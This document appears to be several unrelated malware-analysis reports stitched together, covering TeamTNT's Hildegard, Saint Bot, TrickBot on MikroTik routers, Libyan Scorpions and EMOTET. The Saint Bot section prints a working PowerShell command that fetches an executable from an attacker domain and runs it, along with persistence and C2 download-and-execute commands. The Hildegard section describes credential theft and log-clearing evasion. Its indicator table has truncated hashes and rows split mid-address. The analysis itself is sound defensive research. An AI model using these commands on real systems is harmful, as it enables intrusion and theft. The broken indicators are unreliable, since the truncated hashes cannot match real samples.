the running processes (by reading files under /proc) in the containers, tmate, xmrig, and ziggy will not be found. Linux tools such as ps, top, and many other container monitoring tools will be blinded from these malicious processes. ### Encrypted ELF Binary Hildegard deploys an IRC agent built from the open-source project ziggystartux. To avoid being detected by automated static analysis tools, the ziggystartux ELF is encrypted and packed in another binary (ziggy). When the binary is executed, the ziggystartux ELF is decrypted by a hardcoded Advanced Encryption Standard (AES) key and executed in memory. ### Disguised Process Name The malware names the IRC process “bioset,” which is the name of a well-known Linux kernel process bioset. If one is only looking at the names of the running processes on a host, one can easily overlook this disguised process. ### DNS Monitoring Bypass The malware modifies the system DNS resolvers and uses Google’s public DNS servers to avoid being detected by DNS monitoring tools. ### Delete Files and Clear Shell History All the scripts are deleted immediately after being executed. TeamTNT also uses the “history -c” command to clear the shell log in every script. ## Credential Access Hildegard searches for credential files on the host, as well as queries metadata for cloud-specific credentials. The identified credentials are sent back to the C2. The searched credentials include: - Cloud access keys. - Cloud access tokens. - SSH keys. - Docker credentials. - Kubernetes service tokens. The metadata servers searched: - 169.254.169.254 - 169.254.170.2 ## Discovery Hildegard performs several reconnaissance operations to explore the environment. - It gathers and sends back the host’s OS, CPU, and memory information. - It uses masscan to search for kubelets in Kubernetes’ internal network. - It uses kubelet’s API to search for running containers in a particular node. ## Lateral Movement Hildegard mainly uses the unsecured kubelet to move laterally inside a Kubernetes cluster. During the discovery stage, the malware finds the exploitable kubelets and the containers these kubelets manage. The malware then creates C2 channels (tmate or IRC) and deploys malicious crypto miners in these containers. Although not observed by Unit 42 researchers, the attacker may also move laterally with the stolen credentials. ## Command and Control Once gaining the initial foothold into a container, Hildegard establishes either a tmate session or an IRC channel back to the C2. It is unclear how TeamTNT chooses and tasks between these two C2 channels, as both can serve the same purpose. At the time of writing, tmate sessions are the only way the attacker interacts with the compromised containers. Unit 42 researchers have not observed any commands in the IRC channel. However, the IRC server’s metadata indicates that the server was deployed on Jan. 9, 2021, and there are around 220 clients currently connected to the server. ## Impact The most significant impact of the malware is resource hijacking and denial of service (DoS). The cryptojacking operation can quickly drain the entire system’s resources and disrupt every application in the cluster. The xmrig mining process joins the supportxmr mining pool using the wallet address 428uyvSqdpVZL7HHgpj2T5SpasCcoHZNTTzE3Lz2H5ZkiMzqayy19sYDcBGDCjoWbTfLBnc3tc9rG4Y8gXQ8fJiP5tqeBda. At the time of writing, the malware campaign has ~25.05 KH/s hashing power and there is 11 XMR (~$1,500) in the wallet. ## Conclusion Unlike a Docker engine that runs on a single host, a Kubernetes cluster typically contains more than one host and every host can run multiple containers. Given the abundant resources in a Kubernetes infrastructure, a hijacked Kubernetes cluster can be more profitable than a hijacked Docker host. This new TeamTNT malware campaign is one of the most complicated attacks targeting Kubernetes. This is also the most feature-rich malware we have seen from TeamTNT so far. In particular, the threat actor has developed more sophisticated tactics for initial access, execution, defense evasion, and C2. These efforts make the malware more stealthy and persistent. Although the malware is still under development and the campaign is not yet widely spread, we believe the attacker will soon mature the tools and start a large-scale deployment. ## Indicators of Compromise **Domains/IPs:** | Domain/IP | Description | |--------------------|-------------------------------------------------------------------------------------------------| | the.borg[.]w | This machine hosts malicious files used in the campaign and receives the collected data to this C2. | | (45.9.150[.]36 | Hosted files: TDGG, api.key, tmate, .sh, sGAU.sh, t.sh, x86_64.so, xmr.sh, xmrig, xmrig.so, ziggy, xmr3.assi | | 147.75.47[.]1 | The malware connects to this IP to obtain the victim host’s public IP. | | teamtnt[.]red | This host hosts malicious scripts and binaries. | | (45.9.148[.]10 | Hosted files: pei.sh, pei64. | | 8) | | | borg[.]w | This host hosts malicious scripts and binaries. | | (45.9.148[.]10 | Hosted files: aws2.sh | | 8) | | | irc.borg[.]w | This host is one of the C2s. It runs an IRC server on port 6667. | | (123.245.9[.]147) | | | sampwn.anon | This host is one of the C2s. It runs an IRC server on port 6667. | | dns[.]net | This host is one of the C2s. It runs an IRC server on port 6667. | **Files:** | SHA256 | File Name | Type | Description | |------------------------------------------|----------------------|--------|-------------------------------------------------------------------------------------------------| | 2c1528253656ac09c7473911b24b243f083e60b | TDGG | script | This script downloads and executes .sh. | | 2cde98579162ab165623241719b2ab33ac40f0b5d0a8ba7 | .sh | script | This script downloads and runs tmate. It collects system information from the victim’s host and sends the collected data to C2(45.9.150[.]36) | | b34df4b273b3bedaab531be4 | api.key | text | The API key is used for creating a named tmate session from the compromised containers. | | 158a47f7add8c7204d2ff992e40ce18ff81b9a92fa | tmate | ELF | tmate v2.4.0 | | 74e3ccaea4df277e1a9c458a6 | sGAU.sh | script | This script downloads and installs masscan. It scans Kubernetes’ internal IP Kubelets running on port 10250. If masscan finds an exploitable Kubelet, it attempts to download and execute a cryptojacking script in all the containers. | | 8e33496ea00218c07145396c6bcf3e25f4e38a1061f807d2 | kshell | script | The script performs remote code execution in containers via Kubelet’s API. It also downloads and executes xmr.sh in a target container. | | 518a19aa2c3c9f895efa0d130e6355af5b5d7edf28e2a2d9b | install_monerod.bash | script | The script is hosted in this Github repo. It pulls and builds the official Monero project. It then creates a user named “monerodaemon” and starts the Monero service. | | 5923f20010cb7c1d59aab36ba41c84cd20c25c6e64aace65 | setup_moneroocean_miner.sh | script | The script is hosted in this Github repo. It pulls and runs the MoneroOcean advanced version of xmrig. | | a22c2a6c2fdc5f5b962d2534aae10d4de0379c9872f07aa1 | xmrig | ELF | xmrig 6.7.2-mo3. This binary is hosted in MoneroOcean/xmrig Github repo. | | ee6dbbf85a3bb301a2e448c7fddaa4c1c6f234a8c75597ee7 | pei.sh | script | This script downloads and executes pei64 or pei32, depending on the host’s architecture. | | 937842811b9e2eb87c4c19354a1a790315f2669eea58b63 | pei64 | ELF | This is a Kubernetes penetration tool from the peirates project. The tool is capable of escalating privilege and pivoting through the Kubernetes cluster. | | 72cff62d801c5bcb185aa299e | pei32 | ELF | Same as pei64, but for i686 architecture. | | 9f9dde6eb8274212c5c5d556394aa107a43314 | xmr3.assi | script | The script downloads and runs aws2.sh, t.sh, and xmrig. | | 1d84bea766e2aea3a15381cd85336ecdf3d7de4e | aws2.sh | script | The script searches for cloud credentials and sends the identified credentials to C2 (the.borg[.]w). | | e6422d97d381f255cd9e9f91f06e5e4921f070b23e4e35ed | t.sh | script | The script downloads x86_64.so and tmate from C2. It modifies ld.so.preload and starts a tmate named session. It then sends back the victim’s system info and tmate session to C2. | | 77456c099facd775238086e8f9420308be432d461e55e49e | x86_64.so | ELF | This shared object replaces the existing /etc/ld.so.preload file. It uses the LD_PRELOAD trick to hide the tmate process. | | 78f92857e18107872526feb1ae834edb9b7189df4a2129a4 | xmrig | ELF | xmrig v6.7.0 | | fe0f5fef4d78db808b9dc4e63eeda9f8626f8ea21b9d03cbd | xmr.sh | script | The script downloads and executes xmrig and ziggy. | | 884e37cde9018ee74f1220059977167c5ed34a7e217d9dfe8e8199020e3fe | ziggy | ELF | ziggy is a binary that packs an encrypted ELF. The binary decrypts the ELF at runtime and runs it in memory. |
# A Deep Dive into Saint Bot, a New Downloader **Threat Intelligence Team** April 6, 2021 This post was authored by Hasherezade with contributions from Hossein Jazi and Erika Noerenberg. In late March 2021, Malwarebytes analysts discovered a phishing email with an attached zip file containing unfamiliar malware. Contained within the zip file was a PowerShell script masquerading as a link to a Bitcoin wallet. Upon analysis, the obfuscated PowerShell downloader initiated a chain of infection leading to a lesser-known malware called Saint Bot. It turned out that the same malware was also distributed in targeted campaigns against government institutions. For example, we found a COVID-19-themed campaign targeting Georgia, where the malicious LNK file was accompanied by a malicious document and a decoy PDF. Both droppers lead to Saint Bot instances. Saint Bot is a downloader that appeared quite recently and is slowly gaining momentum. It was seen dropping stealers (i.e., Taurus Stealer, or a simple AutoIt-based stealer) as well as further loaders. Yet its design allows it to be utilized for distributing any kind of malware. Although currently it does not appear to be widespread, there is indication that it is being actively developed. Furthermore, Saint Bot employs a wide variety of techniques which, although not novel, indicate some level of sophistication considering its relatively new appearance. ## Distribution This analysis will be dedicated to a sample that we found distributed by a phishing e-mail. It comes with a ZIP attachment: bitcoin.zip, luring the victim with a chance of getting access to a Bitcoin wallet. ### The Saint Bot Delivery Roadmap Once we unzip the content, we are provided with a pair of files: one of them is a .lnk file that seemingly leads to a Bitcoin Wallet. It is accompanied by a .txt file that claims to be a password to this wallet. The .txt file says: ``` wallet in folder. Use Electrum to download & save it on your side Password is: privatemoney9999999usd Thank you ``` If we try to preview the .lnk via various tools available on Windows, it seems to lead to “C:\Windows\System32\cmd.exe”. But a closer look inside reveals that in reality what it contains is a malicious PowerShell script, meant to download the next stage of the malware from the embedded link: ``` http://68468438438[.]xyz/soft/win230321[.]exe ``` **Deobfuscated script:** ``` && C:\Windows\System32\cmd.exe /c poweRshELL.eXE -w 1 $env:SEE_MASK_NOZONECHECKS = 1; ImPoRT-modULe bItsTRAnsFer; STArt-bITsTRANSFER -Source "('http://68468438438[.]xyz/soft/win230321.exe')" -Destination $ENV:TEMP\WindowsUpdate.exe ; .('cd') ${eNv:TEMP}; ./WindowsUpdate.exe!%SystemRoot%\System32\SHELL32.dll ``` The next stage binary is downloaded into the %TEMP% folder, under the name WindowsUpdate.exe, and run from there. ## Behavioral Analysis Once run, the main sample drops another executable in the %TEMP% directory: “C:\Users\admin\AppData\Local\Temp\InstallUtil.exe” which then downloads two executables named: def.exe and putty.exe. It saves them in %TEMP% and tries to execute them with elevated privileges. If run, the first sample (def.exe) deploys a batch script disabling Windows Defender. The second sample (named putty.exe) is the main malicious component. ### Persistence The sample named putty.exe installs itself and creates a new directory in “AppData/Local” named “z_%USERNAME%”. It drops scripts meant to deploy its other components. The same directory also contains a copy of NTDLL, saved under the name “wallpaper.mp4”. This copy will be used by the malicious binary instead of the legitimate one. The main sample is copied into the Startup directory under a name impersonating one of the legitimate executables found in the infected system. The scripts from the “AppData/Local/z_[user]” are used to deploy the main sample. During the first run, the executable injects itself into “EhStorAurhn.exe“. Once the implant was injected, it connects to its Command-and-Control server (C2) and proceeds with its main actions. Observing the network traffic, we will find the URL of the malware’s C2 queried repeatedly: ``` http[:]//update-0019992[.]ru/testcp1/gate.php ``` ## Internals ### The .NET Downloader The sample downloaded from the initial .lnk is a next stage downloader, written in .NET and obfuscated. It carries another .NET binary in its resources, stored as a bitmap. The bitmap carries encrypted content. During the run, it decodes the next stage, which turns out to be a .NET DLL (a98e108588e31f40cdaeab1c04d0a394eb35a2e151f95fbf8a913cba6a7faa63). The DLL has an internal name zOAI.dll. The loader invokes a method from the DLL: `zOAI.CaCl.aXt()`. The content of the DLL is heavily obfuscated at bytecode level and unreadable for typical tools such as dnSpy. The DLL is run with the help of InstallUtil.exe (e56a7e5d3ab9675555e2897fc3faa2dd9265008a4967a7d54030ab8184d2d38f) – which is a standard .NET Framework Installation utility – dropped into %TEMP% folder. The deployed .NET binary is responsible for downloading and deploying two executables: the one disabling Windows Defender, and another, which is the main payload (in a packed form). ### The Dropped Elements Two executables are dropped in the %TEMP% directory: - `79dd688046ef9f26ed0cf633cab305f18b46ce7affaa396813a9587ac2918bb0` – named def.exe - `2d88db4098a72cd9cb58a760e6a019f6e1587b7b03d4f074c979e776ce110403` – named putty.exe The first one (def.exe) is just a batch script wrapped by the BatToExe tool. The script: Disable Window Defender.bat is meant to prepare the ground for the deployment of the main bot. The other one (putty.exe) is the actual payload, packed by an underground crypter. ### The Unpacked Payload The final payload that is carried inside putty.exe can be dumped from the memory with the help of PE-sieve/HollowsHunter. As a result, we get the following unpacked sample: ``` a4b705baac8bb2c0d2bc111eae9735fb8586d6d1dab050f3c89fb12589470969 ``` The compilation timestamp indicates that the payload is pretty fresh – from March of this year. ### Obfuscation **Strings** Looking inside we can see that the sample is mildly obfuscated. The majority of the strings are encoded in a way reminiscent of a simple substitution cipher. Only a few strings are left in plaintext – including URLs to connect, but also some commands prefixed with “de”, i.e., “de:LoadMemory”, “de:regsvr32”, “de:LL”. We can also see the hardcoded panel URL: “/testcp1/gate.php”. Some (but not all) of the strings can be deobfuscated with the help of the FLOSS tool. We can find out there the name and the version of this malware: “saint_v3” – which indicates the “Saint Bot version 3”. The rest of the strings have been deobfuscated with the help of libPeConv. Full list (along with their offsets) is available. **API Calls** API functions are loaded dynamically, using the names that are decoded just before use. They can be deobfuscated with the help of various approaches, i.e., by filling their names based on the deobfuscated strings. They can also be traced automatically at execution time, i.e., with the help of TinyTracer. ### Execution Flow The sample has three alternative execution paths: 1. Install itself 2. Inject itself into EhStorAurhn.exe 3. Communicate with the C2 and proceed with the main operations Before it proceeds with any action, a set of environment checks is performed. ### Defensive Checks The sample defends itself against being executed in a controlled (or otherwise forbidden) environment by performing a number of checks. In case any forbidden condition is detected, the sample drops and deploys del.bat script that is supposed to delete it after the execution finishes. After that, the sample terminates. Among the environment checks, we can find a locale check. This is very common in cases where the sample is intended to avoid attacking certain countries. In the current case, seven locales are blacklisted: - 1049 – Russian - 1058 – Ukrainian - 1059 – Belarusian - 1067 – Armenian - 1087 – Kazakh - 2072 – Romanian - 2073 – Russian – Moldova It also queries the registry searching for keys typical for virtual environments. Queried registry key: “SYSTEM\CurrentControlSet\Services\disk\Enum” has its values checked against the list: QEMU, VIRTIO, VMWARE, VBOX, XEN. Note that the checks are gathered all in one function, and thanks to this fact, they can be easily patched out of the sample to make the analysis easier. ### Mutex and Persistence The malware prevents itself from being deployed more than once by creating the mutex “saint_v3”. If the mutex already exists, the program exits with an error. Otherwise, it proceeds with installing its persistence. It sets a run key in “\Software\Microsoft\Windows\CurrentVersion\Run” as well as a scheduled task named “Maintenance”. ``` /create /sc minute /mo 5 /tn “Maintenance” /tr “C:\Users\%USERNAME%\AppData\Local\z_%USERNAME%\%USERNAME%.vbs” /F ``` ### Process Injection The malware injects itself into a newly created process “C:\Windows\System32\EhStorAuthn.exe”. It writes its payload into the process using ZwWriteVirtualMemory and then executes it with the help of NtQueueApcThread and ZwAlertResumeThread. This is a variant of a well-known injection involving adding a start routine into APC Queue of the main thread. It uses low-level versions of the dedicated APIs, exported by NTDLL. The less typical twist in this technique lies in the fact that it does not use the original NTDLL, but its renamed copy – the one that it previously dropped as wallpaper.mp4. This is one of the simple (and pretty naive) tricks that aim to make detection more difficult. It is based on the assumption that monitoring tools may have installed hooks inside the original NTDLL. By using a renamed copy of this DLL, the authors tried to prevent the called APIs from being watched by those hooks. In this case, the APIs that they tried to hide are the ones related to code injection. ### Communication with the C2 The malware comes with addresses of C2 servers hardcoded, as well as the address of the gate. The name of the browser agent is also hardcoded, in obfuscated form: “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 YaBrowser/15.10.2454.3865 Safari/537.36“. The bot keeps querying the C2 and waiting for the commands. Sample beacon: ``` transfer=ZG5ufX1ibnhnblRUVDVNcFFDVFRUdVFDTXk+SSBbIFVGeVpmSUlReUM1RFRUVDJQVFRUT3hiVFRUS ``` Which decodes to a list of parameters collected from the infected machine, for example: ``` transfer=-994429369___admin___Windows 7 Professional___IE___x32___1___Intel(R) Core(TM) i5-6400 CPU @ 2.70GHz___3___Standard VGA Graphics Adapter___High___24' ``` The content sent to/from the C2 is obfuscated by the same algorithm as the internal strings – referenced as decode_wstring – but with a different parameter: -7 (7 for encode, -7 to decode) instead of -6. The received data is first being decoded and then split by a delimiter “\” into a list of commands. The list of commands processed is very small. Some of them come with a distinctive prefix “de:”. ### Sample Response ``` XE1mInNGeUVGNXBNNWM1IlljY3M6cXFDNXBmS01tSVFjZnFaUURmbWZPZlw= ``` And the same response decoded: ``` \de"programdata"http://name1d.site/file.exe\' ``` Which means: download the executable from the given link, drop it in “ProgramData” directory, and execute. As the choice of commands shows, the role of this bot is to deliver further payloads to the infected machine. ## The Panel It is always beneficial to compare what we observed by the analysis of the bot with the server-side implementation of the same actions. In this case, it happens to be possible as we gained access to the leaked source of the panel. ### Overview The panel of this bot is very small. The main view: The list of available bots comes with minimalist details about every victim machine, such as Username, IP, OS, Architecture, Privileges with which the bot was deployed, Country, First and last timestamp of the communication with the C2, and deployed Actions. The task panel allows sending commands to the bots. In this case, the list of commands is very small, as the Saint Bot serves as a downloader for other malware. The available tasks are: - Download&Execute (other payloads) - Update (the Saint Bot) - Uninstall In addition, we can set several additional options to where the downloaded payload should be dropped. Three drop directories are supported: ProgramData, AppData, Temp. The operator can also set various filters, defining on which of the infected machines the payloads will be dropped. The list of payloads served by the examined instance points to files uploaded at Discord. ## The Code Like most malware panels, this one is written in PHP, with an SQL database under the hood. The module responsible for sending the tasks to the bot is named: tasks.php. We can find the same commands we observed by analyzing the executable’s code. Three types of tasks: - de – which stands for: Download&Execute - update - uninstall We can also find the available parameters, also correlating with the parameters hardcoded in the previously analyzed executable: - regsvr32 – stands for: download a DLL and run it via regsvr32 - ll – stands for: download a DLL and run it via LoadLibrary - file – run from a dropped file - mem – stands for manually load and inject into a process Some parameters are further translated, which make them a matching set with the commands that were visible in the bot’s code. Once the task is created, it is added to the database, to be polled and executed further. ## Evolution This bot is fairly new and is evolving slowly and steadily. The earliest version found by similar artifacts was compiled in January (0481edd888e70087115d603ac5c18fe3e15420a28a71bc1ef753d74c27474e9a). It came with the same set of commands, yet slightly rewritten code. The associated panel suggested that the version using this mutex was numbered as 2.0. ### Yet Another Downloader Saint Bot is yet another tiny downloader. We suspect it is being sold as a commodity on one of the darknet forums and not linked with any specific actor. It is not as mature as SmokeLoader, but quite new, and currently actively developed. The author seems to have some knowledge of malware design, which is visible by the wide range of techniques used. Yet, all the deployed techniques are well-known and pretty standard, not showing much creativity so far. Will it become the next widespread downloader or disappear from the landscape, pushed away by some other, similar products? We have yet to see. ## Indicators of Compromise - Initial dropper (.lnk): `63d7b35ca907673634ea66e73d6a38486b0b043f3d511ec2d2209597c7898ae8` - Next stage .NET dropper: `b0b0cb50456a989114468733428ca9ef8096b18bce256634811ddf81f2119274` - .NET downloader: `a98e108588e31f40cdaeab1c04d0a394eb35a2e151f95fbf8a913cba6a7faa63` - Saint Bot (packed): `2d88db4098a72cd9cb58a760e6a019f6e1587b7b03d4f074c979e776ce110403` - Saint Bot core: `a4b705baac8bb2c0d2bc111eae9735fb8586d6d1dab050f3c89fb12589470969` - Downloader domain: `68468438438[.]xyz` - C2 servers: - `update-0019992[.]ru` - `380222001[.]xyz`
# The TrickBot and MikroTik Connection – A Story of Investment and Collaboration **Wicus Ross** Lead Security Researcher, SecureData Labs December 12, 2018 In my professional capacity, I perform several tasks. One involves tracking and collecting indicators of compromise (IoC) used to identify malware campaigns. Another involves tracking incidents reported in mainstream media, establishing trends, and distilling the information into actionable items for clients and colleagues. The fun part of my job involves writing tools or playing with those authored by others. This is a story where all these aspects neatly intersect. It’s also a story that highlights the need for security companies to invest in their staff and to encourage creativity to build a safer online environment for businesses and consumers. ## Tracking TrickBot Security companies across the globe track malware campaigns, including one named TrickBot. TrickBot monitors the web surfing activity of its victim and activates when certain websites, such as internet banking, are accessed. It then attempts to capture account details of its victim when he or she browses to a login URL that is being monitored. If we look at industry trends, this one is definitely a contender on the top ten offender list. Among the others are those which target unsecured IoT devices, subverting them into what is called a botnet – the likes of Mirai, Satori, VPNFilter, and Slingshot. The latter two have been linked to APT or nation-state actors. Mirai and VPNFilter have been associated with distributed denial of service attacks, while Slingshot was reportedly used to pivot into internal networks. So, a pretty bad bunch! We’ve noticed, in our own tracking of botnets, the increasing involvement of MikroTik devices and also noted vulnerable MikroTik routers through publicly disclosed vulnerabilities that were attributed to others. This, coupled with poor vulnerability management, has meant an increase in the number of compromised MikroTik hosts. ## Where Internal Investment Plays Its Part On to the fun part. Our team takes a creative approach to cybersecurity, and they’re constantly expanding their capabilities, building tools not only because they have to, but out of curiosity. Enter my esteemed colleague, Willem. A few weeks ago, Willem saw that Pastebin was running a lifetime Pro subscription promotion. Willem signed up, and a couple of hours later had created Pastebot, a Pastebin scraper that hooked into the cloud-based collaboration platform, Slack. It was not long before Pastebot started spamming our SD Labs’ Slack workspace with all kinds of nasties found on Pastebin. Fast forward to one Monday morning just before lunch. I received a Slack message from Willem with a link to a Pastebin post that hosted XML config for a TrickBot campaign. This was picked up by Pastebot because Willem was looking for Pastebin posts that contain names of certain well-established financial institutions. This returned a TrickBot XML file containing 38 IP addresses and port pairs across the world. Next, a quick spot check using Shodan provided us with a sense of what we were dealing with: several were associated with MikroTik routers. We verified this, and the result was surprising. Of the 38 IPs, Shodan returned info on 37 hosts, 19 of which were identified as MikroTik routers. This suggests that either the routers or the hosts behind them had been compromised – or both. One of the MikroTik routers reported the latest version of firmware, which had been fully patched against known exploits. All 19 MikroTik routers had their bandwidth test services exposed to the internet, and 18 had default SSH ports exposed to the internet. ## Tools and Tactics We passed MikroTik router IPs through IOCParlor (a tool created by our team that helps automate IOC collection and verification) to get a sense of how naughty these hosts really are. IOCParlor queried VirusTotal and returned a list of 14 IPs flagged as malicious. To verify the results, we picked one IP and manually reviewed it using the VirusTotal web client, which produced an MS Word document. Of the 61 malware engines that scanned the document, 35 reported it as malicious. Several of the malware engines classified the document as a trojan downloader, meaning that when Word opens the file, it will download malware. The community tab associated with the VirusTotal report had several comments, including one from dvk01 of My Online Security, a phishing and malware campaign reporting site that the SD Labs team regularly uses. dvk01 labelled the malware as TrickBot and linked to an article that describes how the same contagion was used for a malicious Bank of America email. In September 2018, there were reports in the industry that highlighted the increasing number of MikroTik routers that are ensnared in malicious activity. What was interesting was that TrickBot is using C2 hosts that have MikroTik routers involved. Had the SD Labs not been tinkering with cybersecurity tools, this discovery may not have been made. Leveraging seemingly unrelated events and tying them together with other analysis demonstrates the need to not only examine obscure incidents across the industry but also the kind of tactics needed to protect organizations against threats that could never have been imagined. Continued investment in research and tooling is needed across the industry, coupled with a creative approach and some outside-the-box thinking.
# Hunting Libyan Scorpions ## Overview Libya may be known for its unstable political system, civil war, and militant groups fighting for land and oil control, but it is definitely not known for cyber malicious activities, cyber espionage, and hacking groups. No parties in Libya had reported using cyber attacks, malware, or recruiting hackers to spy on their rivals before this analysis. Today, we have a different story. In the past weeks, on 6 August 2016, Cyberkov Security Incident Response Team (CSIRT) received numerous reports of Android malware operating in different areas in Libya, especially in Tripoli and Benghazi. The malware spreads rapidly using the Telegram messenger application on smartphones, targeting high-profile Libyan influential and political figures. The first discovery of the malware was after a highly influential Libyan Telegram account was compromised via web Telegram using an IP address from Spain. The following day, the attackers spread an Android malware bound with a legitimate Android application from the compromised Telegram account to all his contacts, pretending it was an important voice message (misspelled as “Voice Massege.apk”), indicating a non-English (possibly Arabic) attacker. After spreading the malware, more Android smartphones were infected using the same technique (via Telegram), creating a network of victims. Analysis of this incident led us to believe that this operation and the group behind it, which we call Libyan Scorpions, is a malware operation in use since September 2015, operated by a politically motivated group whose main objective is intelligence gathering, spying on influential and political figures, and conducting an espionage campaign within Libya. Additionally, the analysis of the incident led to the discovery of multiple malware targeting Android and Windows machines. Libyan Scorpions threat actors used a set of methods to hide and operate their malware. They appear not to have highly technical skills but possess good social engineering and phishing tricks. The threat actors are not particularly sophisticated, but it is well understood that such attacks don’t need to be sophisticated in order to be effective. "Using malware as a weapon in an active warzone such as Libya makes the victims easy targets for assassination or kidnapping by tracking their physical locations and monitoring them day and night."
# EMOTET: a State-Machine Reversing Exercise ## Intro Around the 20th of December 2020, there was one of the "usual" EMOTET email campaigns hitting several countries. I had the possibility to get some samples and decided to make this little analysis to deep dive into some specific aspects of the malware itself. In particular, I looked at how the malware has been written, with an analysis of the interesting techniques used. There is a very good analysis done by Fortinet in 2019, where the first stage has also been analyzed. My exercise is more focused on the second stage of a recent sample. In this repository, you will find all the DLLs, scripts, and tools used for the analysis, with the annotated Ghidra project file, mapping to my findings (API calls, program logic, etc.). You can use this as a starting point for additional investigation on it. Enjoy! ## The Tools - FireEye Speakeasy - Ghidra - x64dbg - PE Bear ## The Infection Chain EMOTET is usually spread by using an email campaign (in this case in Italian language). This particular sample comes from what we can call the usual infection chain: 1. Delivery of an email with a malicious zipped document. 2. Once opened, the document runs an obfuscated PowerShell script and downloads the 2nd stage. 3. The 2nd stage (in the form of a DLL) is then executed. 4. The 2nd stage establishes some persistence and tries to connect to a C2. ## The Initial Triage All the files used for this analysis are in the repository. The "dangerous" ones are password protected (with the usual pwd). The DLL `sg.dll` has the following characteristics: - **File Name:** sg.dll - **Size:** 340480 - **SHA1:** b08e07b1d91f8724381e765d695601ea785d8276 This DLL exports a single function named `RunDLL`: once executed, it decrypts "in-memory" an additional DLL. This one, dumped as `dump_1_0418.bin`, is the target of my analysis: - **File Name:** dump_1_0418.bin - **Size:** 122880 - **SHA1:** 57cd8eac09714effa7b6f70b34039bbace4a3e23 An initial overview of the dumped DLL shows immediately that we don't have any string visible in it, no imports, and a first look at the disassembly shows heavily obfuscated code. We need to do some work here. I fired up Ghidra and started to snoop around. Starting from the only exported function `RunDLL`, you quickly end up at `FUN_10009716`, where you can spot a main loop with a kind of "State-Machine". It looks like a given double-word (stored in `ECX`) is controlling what the program is doing. But this looks convoluted and not very easy to unroll since nothing is really clear. For example, if you try to isolate the library API call in x64dbg, you will face something like this: Every single API call is done in this way: there is a bunch of `MOV`, `XOR`, `SHIFT`, and `PUSH` followed by a call to `xxx606F`, which decodes in `EAX` the address of the function (called by the second red box). The number of `PUSH` just before the `CALL EAX` are the parameters, which could be worth inspecting. The same "state" approach is also used in several sub-functions, not only in the main loop. So, everything looks time-consuming, and I'd like to find a way to get the high-level picture of it. ## Speakeasy This tool is a little gem: Speakeasy can emulate the execution of user and kernel mode malware, allowing you to interact with the emulated code by using quick Python scripts. What I'd like to do was to map every single state of the machine (`ECX` value of the main loop) to something more meaningful, like DLL API calls. I had to work a bit to get what I wanted: - The emulation was failing in more than one point, with some invalid reads. I investigated a bit the reason and saw that sometimes the `CALL EAX` done in some location was not valid (`EAX` set to 0). I decided to take the easy way and just skip these calls. - I had to modify the call to a specific API (`CryptStringToBinary`). - I mapped the machine state. - Added a `--state` switch to control the flow of the emulation. You can use it to explore all the states (ex. `--state 0x167196bc`). You may encounter errors if needed parts are not initialized, but you can reconstruct the proper flow by looking at the Ghidra decompilation. In a second iteration, knowing where strings are decrypted, I added a dump of all the strings in clear. Then the execution of the final script (`python emu_emotetdll.py -f sg.dll`) gave me something very interesting: the list of the imported DLLs (with related addresses): ``` 0x10017a4c: 'kernel32.LoadLibraryW("advapi32.dll")' -> 0x78000000 0x10017a4c: 'kernel32.LoadLibraryW("crypt32.dll")' -> 0x58000000 0x10017a4c: 'kernel32.LoadLibraryW("shell32.dll")' -> 0x69000000 0x10017a4c: 'kernel32.LoadLibraryW("shlwapi.dll")' -> 0x67000000 0x10017a4c: 'kernel32.LoadLibraryW("urlmon.dll")' -> 0x54500000 0x10017a4c: 'kernel32.LoadLibraryW("userenv.dll")' -> 0x76500000 0x10017a4c: 'kernel32.LoadLibraryW("wininet.dll")' -> 0x7bc00000 0x10017a4c: 'kernel32.LoadLibraryW("wtsapi32.dll")' -> 0x63000000 ``` And a lot of API calls, mapped to the machine state: ``` [+] State: 1de2d3e5 0x10010ba0: 'kernel32.GetProcessHeap()' -> 0x7280 0x10018080: 'kernel32.HeapAlloc(0x7280, 0x8, 0x4c)' -> 0x72a0 [+] State: 5c80354 0x10010ba0: 'kernel32.GetProcessHeap()' -> 0x7280 0x10018080: 'kernel32.HeapAlloc(0x7280, 0x8, 0x20)' -> 0x72f0 0x10017a4c: 'kernel32.LoadLibraryW("advapi32.dll")' -> 0x78000000 0x10010ba0: 'kernel32.GetProcessHeap()' -> 0x7280 0x10014b3a: 'kernel32.HeapFree(0x7280, 0x0, 0x72f0)' -> 0x1 0x10010ba0: 'kernel32.GetProcessHeap()' -> 0x7280 ``` This list was not complete (because I skipped on purpose some failing calls and probably some calls were not correctly intercepted), but it gave me an overall picture of what was going on. Thanks FireEye! ## Mapping With the help of Speakeasy output and a combination of dynamic and static analysis (done with x64gdb and Ghidra), I was able to reconstruct the main flows of the malware. Consider that these flows are not complete; they are high-level snapshots of what is going on for some (not all) of the "states". I'm sure something is missing. This is the "main" flow. Then we have the "Persistency" flow (the yellow boxes are the interesting ones): And the initial "C2" communication flow: Not all the states were explored. I focused on persistence and initial C2. The great thing about this approach is that you can now alter the execution flow by setting the `ECX` value you want to explore or execute. I added a lot of details in the Ghidra file, by renaming the API calls and inserting comments. Every number reported in the graphs (ex 19a) are in the comments, so you can easily track the code section. I renamed the functions with this standard: - A single underscore in front of API calls. - A double underscore in front of internal function calls. ## Interesting Findings: Encrypted Strings All the strings are encrypted in a BLOB, located, in this particular dumped sample, at `0x1C800`. The green box is the XOR key and the yellow one is the length of the string. The function used to perform the decryption is `__decrypt_buffer_string_FUN_10006aba` and `__decrypt_headers_footer_FUN_100033f4`. Every single string is decrypted and then removed from memory after usage. This is true even for C format strings. So you will not find anything in memory if you try to inspect the mapped sections at runtime. As said before, I added a specific section in the Speakeasy script to dump those strings. ## Interesting Findings: List of C2 Servers IP of C2 are dumped from the same BLOB (in this case at `0x1CA00`) just after the decryption in step 20a. As stated in Fortinet Analysis, this list is made of IP (green box) and port (yellow box). You can decode the whole list if you pass this part of the binary in the following Python code: ```python import sys import struct b = bytearray(sys.stdin.buffer.read()) for x in range(0, len(b), 8): print('%u.%u.%u.%u:%u' % (b[x+3], b[x+2], b[x+1], b[x], struct.unpack('<H', bytes(b[x+4:x+6]))[0])) ``` You can find the full list extracted in the IoC section. ## Interesting Findings: Persistence This particular sample obtains persistency by installing a System Service. This campaign deployed different versions of the DLL using also different techniques: `Run` Registry Key is one of them. The section installing the service is the 20a (state `0x204C3E9E`). The high-level steps are the following: - Decrypt the format string `%s.%s`. - Generate random chars to build the service name (which results in something like `xzyw.qwe`). - Get one random "Service Description" from the existing ones and use it as the description of the new service. ## Interesting Findings: Encrypted Communications with C2 In section 8a (state `0x1C904052`), we can spot the load of an RSA public key. After 